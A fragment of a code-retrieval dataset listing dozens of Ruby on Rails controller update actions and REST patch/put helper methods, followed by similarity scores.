"def update\n respond_to do |format|\n if @people.update(people_params)\n format.html { redirect_to root_path(@people), notice: 'VIP ' + @people.name.to_s + ' foi atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @people }\n else\n format.html { render :edit }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @person.update(person_params)\n\t\t\t\tformat.html { redirect_to @person, notice: 'Person was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @person }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @person.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @patient = Patient.find(params[:id])\n\n respond_to do |format|\n if @patient.update_attributes(params[:patient].except(:person_attributes))\n format.html { redirect_to people_url, notice: 'Patient was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n else\n @person.update person_params\n render json: @person\n end\n end",
"def update\n @person = Person.find(params[:id])\n @provider = Provider.find(params[:provider_id]) unless params[:provider_id].blank?\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n\n path = people_path\n msg = 'Person was successfully updated.'\n if @participant\n path = participant_path(@participant, :anchor => \"relationships_tab\")\n msg = 'Person was successfully updated.'\n end\n if @provider\n path = provider_path(@provider)\n msg = \"Person was successfully updated for #{@provider}.\"\n end\n\n format.html { redirect_to(path, :notice => msg) }\n format.json { render :json => @person }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @people = Person.pluck(:name, :id)\n puts \"*** From update: \" \n\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.js {}\n format.html { redirect_to people_url, notice: \"Person #{@person.first_name} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.js {}\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to(@person, :notice => 'Person was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n resource_path = \"/projects/#{project_id}/people/#{id}\"\n Request.put(resource_path, self.to_xml('person'))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n\n\t\trespond_to do |format|\n\t\t\tif @person.update_attributes(params[:person])\n\t\t\t\tformat.html { redirect_to(@person, :notice => 'Person was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to(@person, :notice => 'Person was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @people = args[:people] if args.key?(:people)\n end",
"def update\n respond_to do |format|\n if @person.update(admin_person_params)\n format.html { redirect_to [:admin, @person], notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:notice] = 'Person was successfully updated.'\n format.html { redirect_to(person_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n\t\t@person = Person.find_by(id: params[:id])\n\t\t# @person.save\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.html { redirect_to personas_path, notice: 'Persona was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n track_activity @person\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n flash[:notice] = 'Person was successfully updated.' if @person.update_attributes(params[:person])\n respond_with(@person)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:notice] = 'Person was successfully updated.'\n format.html { redirect_to(@person) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\", :layout => \"main\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:notice] = 'Person was successfully updated.'\n format.html { redirect_to(@person) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:notice] = 'Person was successfully updated.'\n format.html { redirect_to(@person) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n @key_person = KeyPerson.find(params[:id])\n\n respond_to do |format|\n if @key_person.update_attributes(params[:key_person])\n format.html { redirect_to @key_person, notice: 'Key person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n if @personaje.update_attributes(params[:personaje])\n format.html { redirect_to @personaje, notice: 'Personaje was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n flash[:notice] = \"Person was successfully updated.\" if @person.update(person_params)\n respond_with(@person)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:notice] = 'Person was successfully updated.'\n format.html { redirect_to people_url }\n format.xml { head :ok }\n else\n flash[:warning] = 'Please check every information that you are entering and fill the required fields.'\n format.html { render :edit }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tasks_person = TasksPerson.find(params[:id])\n\n respond_to do |format|\n if @tasks_person.update_attributes(params[:tasks_person])\n format.html { redirect_to @tasks_person, notice: 'Tasks person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tasks_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to result_path(@person), notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Cadastro atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @person.update_attributes(params[:person])\n redirect_to people_path, notice: @person.name.to_s + ' was successfully updated.'\n else\n render action: \"edit\"\n end\n end",
"def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@person = Person.find_by(id: params[:id])\n\t\[email protected]_attributes(person_params)\n\n\t\t# Same as below!\n\t\t# @person.name = params[:person][:name]\n\t\t# @person.age = params[:person][:age]\n\t\t# @person.is_a_clown = params[:person][:is_a_clown]\n\t\t# @person.save\n\n\t\t# redirect_to 'index'\n\t\tredirect_to person_url(@person) # the prefix from rake routes, could also use path..\n\tend",
"def update\n respond_to do |format|\n if @documents_person.update(documents_person_params)\n format.html { redirect_to @documents_person, notice: 'Documents person was successfully updated.' }\n format.json { render :show, status: :ok, location: @documents_person }\n else\n format.html { render :edit }\n format.json { render json: @documents_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @personnage = Personnage.find(params[:id])\n\n respond_to do |format|\n if @personnage.update_attributes(params[:personnage])\n format.html { redirect_to @personnage, notice: 'Personnage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personnage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:person][:company_name]\n params[:person][:company] = Company.find_or_create_by_name(params[:person][:company_name])\n params[:person].delete(:company_name)\n end\n @person = Person.find(params[:id])\n\n authorize! :edit, @person\n \n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = people_type.find(params[:id])\n\n respond_to do |format|\n case params[:type]\n when \"Coordinator\" \n @person.update_attributes(params[:coordinator])\n when \"Professor\"\n puts \"zicaaaaaa\" \n puts params[:professor]\n @person.update_attributes(params[:professor])\n puts @person.name\n when \"Student\"\n @person.update_attributes(params[:student])\n end\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n filtered_params = person_params\n filtered_params[:roles] ||= []\n filtered_params[:status] ||= []\n\n respond_to do |format|\n if @person.update(filtered_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n format.xml { render :show, status: :created, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n format.xml { render xml: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contactinfo = Contactinfo.find(params[:id])\n\n respond_to do |format|\n if @contactinfo.update_attributes(params[:contactinfo])\n format.html { redirect_to person_path(@contactinfo.people_id), :notice => 'Contactinfo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @contactinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bob = Bob.find(params[:id])\n\n respond_to do |format|\n if @bob.update_attributes(params[:bob])\n format.html { redirect_to @bob, notice: 'Bob was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\tperson = Person.find_by_id(user_params[\"id\"])\n\t\tif person\n\t\t\tperson.favoriteCity = params[\"update\"]\n\t\t\tif person.save\n\t\t\t\trender json: {id: person.id, name: person.name, favoriteCity: person.favoriteCity}\n\t\t\telse\n\t\t\t\trender body: 'Person Invalid', status: 404\n\t\t\tend\n\t\telse\n\t\t\trender body: 'Person Not Found', status: 404\n\t\tend\n\tend"
] | [
"0.7046178",
"0.6955489",
"0.68781364",
"0.66859853",
"0.6622123",
"0.6622123",
"0.6622123",
"0.6622123",
"0.6622123",
"0.6618028",
"0.66086507",
"0.66086507",
"0.6599896",
"0.6584526",
"0.65779114",
"0.6543081",
"0.6543081",
"0.6543081",
"0.65398455",
"0.6506056",
"0.65049976",
"0.65038633",
"0.6448661",
"0.6431934",
"0.6430893",
"0.64121807",
"0.6402824",
"0.63849497",
"0.6384165",
"0.6384165",
"0.63723207",
"0.63716125",
"0.63647574",
"0.63647574",
"0.63647574",
"0.63647574",
"0.63647574",
"0.63647574",
"0.63647574",
"0.63647574",
"0.6340482",
"0.62984276",
"0.6292263",
"0.6288777",
"0.62864923",
"0.6280137",
"0.62458956",
"0.6242642",
"0.62406826",
"0.62330395",
"0.623182",
"0.62309235",
"0.6225137",
"0.6223023",
"0.6208863",
"0.6184499",
"0.61706775",
"0.6163983",
"0.6163983",
"0.6156549",
"0.6149321",
"0.61389315",
"0.61285555",
"0.6124913",
"0.6117892",
"0.6116136",
"0.61117524",
"0.61117524",
"0.6108765",
"0.6090523",
"0.60682195",
"0.60651743",
"0.60651743",
"0.6062671",
"0.60625017",
"0.60625017",
"0.60557216",
"0.6041787",
"0.60377216",
"0.6032268",
"0.60320866",
"0.6022594",
"0.6017544",
"0.6016622",
"0.60005254",
"0.59978473",
"0.5992661",
"0.59877443",
"0.59761226",
"0.5974281",
"0.5953125",
"0.5951671",
"0.594596",
"0.59447116",
"0.59416914",
"0.59333724",
"0.5932402",
"0.59318256",
"0.5929482",
"0.59239054",
"0.5915161"
] | 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.